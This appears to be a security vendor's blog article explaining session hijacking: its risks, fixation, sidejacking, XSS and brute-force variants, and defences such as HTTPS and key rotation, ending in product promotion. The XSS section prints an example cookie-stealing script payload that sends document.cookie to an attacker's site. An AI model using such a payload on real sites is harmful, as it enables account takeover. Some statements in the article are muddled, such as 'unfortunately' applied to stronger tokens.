How to Prevent Session Hijacking

In this article:

Session hijacking attack is a highly prevalent attack resulting in identity theft, data breaches, and financial fraud. A recent Verizon study found that approx 85% of breaches were caused due to the human element and were avoidable in the presence of robust security measures

In hijacking attacks, a hacker uploads malicious code to a site frequently visited by the original user, then forces the victim’s machine to send the session cookie data to the hacker’s server. Once a user’s session ID is obtained, the attacker can masquerade as a legitimate user on any number of web services that successfully handshakes with the session ID.

This article delves into how session hijacking attacks are commonly orchestrated, the risk & impacts of such attacks, and the best practices to prevent vulnerabilities that cause such attacks.

What is a Session Hijacking Attack?

Hackers orchestrate a session hijacking attack to gain unauthorized access to a user’s session and then assume and leverage the victim’s identity for deeper exploitation. As various services of an application create sessions to serve as a reference for a user’s initial authentication, an attack vector exploits such services to stay connected to the server for the duration of the current session. To achieve this, attackers steal a user’s session ID and then apply it to their browser, tricking the application servers into authenticating users. 

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Risk and impacts of hijacking attacks

Session hijacking is a form of man-in-the-middle attack that, if successful, grants the hacker full access to a legitimate user’s account and browser session. The technique has been around for decades and involves attackers stealing a valid session token from an active user and then accessing the user’s account.  

In most cases, session hijacking attacks are avoidable. As such, the risks within an application stack that account for a wider proportion of such attacks include: 

  • Vulnerable components – Failure to build and maintain adequate security controls in source code and third-party integrations makes applications more susceptible to phishing attempts and man-in-the-middle attacks. 
  • Predictable session token – Some application session tokens and attribute in session cookies typically contain sensitive data that associates the server with the user’s credentials. Hackers usually use automated tools to guess these session tokens, thereby leveraging such vulnerabilities as one of the most common methods of successful session hijacking. 
  • Insufficient encryption – Without network traffic encryption beyond initial authentication, hackers exploit the TLS layer to sniff session packets and intercept cookies transmitted between clients and servers. 
  • Malware – Attackers target web applications with vulnerable servers to install malware that executes on a user’s device to hijack the session. The malware may perform session sniffing, grab the temporary session cookie, and send it to the hacker for further exploitation.

The threat of a session hijacking attack can be severe, depending on the criticality of the application being accessed and the sensitivity of the data compromised. Some potential impacts of a successful attack include:

  • Financial fraud – Once attackers take hold of financial systems, they can perform transactions while impersonating a legitimate user. For example, they may make purchases using active session information, transfer funds on behalf of the victim, or even access an intellectual property.
  • Identity theft – A standard attack pattern involves gaining access to a client’s login credentials, which allows them to access multiple accounts illegally, escalate privileges and orchestrate a full-blown attack.
  • Data breachAttackers use compromised sessions and logins to gain unauthorized access to sensitive data of a vulnerable server. Once done, attackers leverage this data to exploit the organization or victims through ransomware attacks and the threat of exposing personally identifying data.
  • Exploiting Single Sign-On Systems (SSO) – In systems that use an SSO authentication, attackers can also use an active session to log in to other services that authenticate using the SSO. As SSO systems typically leave session security responsibilities on the onus of users, it is harder to protect applications with less predictable cookies and weak authentication mechanisms. 

Types of session hijacking attacks and examples

While there are multiple guidelines, tools, and best practices to secure applications, the changing threat landscape also continues to evolve. Over the year, hackers have devised numerous ways to gain access to an authorized user’s session, including detailed attack patterns to orchestrate the hijacking without being noticed.

Some session hijacking attack types include:

Session Fixation Attacks

In this attack, hackers exploit session management vulnerabilities that allow users to sign in using existing session IDs. The attacker obtains the valid session ID, then tricks the user into logging in with it. Once the user session is established. In this case, the session hijacker fixes an active session on the user’s browser and then steals the session using known techniques. This can be further exploited using the meta attack pattern to send the session tokens within the URL field, cookie, or hidden form field. 

Session side jacking

One of the most common techniques leverages the lack of encryption between the remote server and the user. The session hijacker sniffs for unencrypted traffic in the network carrying session keys and tokens, captures the session tokens, and then uses them in targeted services masquerading as the victim. 

Cross-site scripting attacks

Session hijackers typically target cross-site scripting vulnerabilities when orchestrating a session takeover. While doing so, hackers inject client-side scripts that capture session tokens. If the target server doesn’t set the HttpOnly attribute for session cookies, attackers can craft malicious Javascript code that obtains the session ID.

A popular XSS attack method for session hijacking involves tricking users into clicking a malicious link to a known website that includes query parameters to send the user’s session key to the attacker’s web server. For example, the URL argument for this attack would look similar to:

<!-- wp:table -->
<figure class="wp-block-table"><table><tbody><tr><td>;script&gt;location.href=''+document.cookie;&lt;/script&gt;</td></tr></tbody></table></figure>
<!-- /wp:table -->

In this case, the document.cookie argument reads the session cookie, then sends it to the hijacker’s website, relying on the location.href command. While this is one common attack method, real-world attacks are far more sophisticated and use techniques such as URL shortening and character encoding to hide the malicious script within the link.

Brute Force

This method involves the hackers guessing and determining the session ID on their own once they realize that the server uses predictable IDs. Some business systems create session IDs based on time, date, or the user’s IP address, making it easy to guess. Attackers use session IDs repeatedly from a known list that is only successful if the session management platform has known vulnerabilities or if the session IDs are made up of a few commonly used characters. 

How to prevent session hijacking attacks from happening

While attackers have used numerous tools and techniques that facilitate session hijacking, several security measures and best practices protect applications from such attacks. Some best practices to prevent session hijacking attacks include:


Make sure that web servers and applications, especially SSO systems, require using HTTPS everywhere. In addition, all internet communications should be encrypted to ensure sessions are secured at every stage. Every interaction, including sharing session keys, should be encrypted with TLS/SSL. Security teams should also use robust client-side defenses to protect client browsers and session cookies from XXS attacks.

Web frameworks simplify session management since they can generate more prolonged and random session cookies. Unfortunately, this makes session tokens, cookies, and IDs harder to predict and exploit since such frameworks rely on fuzzy algorithms to achieve randomness. 

Always rotate session keys after authentication

Changing the session key after a successful login makes it hard for a session hijacker to follow the user session even if they know the original key. Even if an attacker sends a phishing link the user clicks on, attackers can’t hijack sessions with self-generated keys in such setups.

Employ intrusion detection and intrusion prevention systems

These are tools that compare access patterns with known attack signatures. If there are malicious application usage patterns, these systems automatically block the request and send alerts to monitoring & security teams.

Session hijacking tools

You can find a lot of advantages when using a session hijacking tool to test your web application, as nowadays, manual testing can be quite expensive for businesses. Some of the benefits you could find are:

  • Automated detection of common session hijacking attack vectors
  • Automated protection against XSS-based session hijacking attacks
  • Automated detection and mitigation of known security flaws in your application code
  • Automated testing of the most popular web applications

The Crashtest Security Suite is available as a free trial version.

About Crashtest Security:

Crashtest Security is a leading provider of automation software solutions for web developers and IT professionals. This automated tool scans your API/web app for common issues like missing CSRF tokens, weak authentication, SQL injection, cross-site scripting, etc. It then analyzes these issues to determine if they could lead to a session hijacking attack.


Why is Session Hijacking Attack Important for Business?

A session hijacking attack is one of the most dangerous cyberattacks because it allows hackers to gain unauthorized access to a user’s account or data. This attack can be extremely costly since it may result in financial losses, reputation damage, legal liabilities, etc.

Best practices Conclusion

Here are a few ways to protect yourself from session hijacking:

  • Use strong authentication mechanisms
  • Make sure all forms of authentication require a password change before allowing a user to log in again
  • Ensure that only authorized users are allowed to create sessions
  • Don’t store any sensitive data on the client-side
  • Keep your web applications up to date with the latest patches
  • Never share personal information over email
  • Always check the URL bar when logging in to ensure that no suspicious links are present

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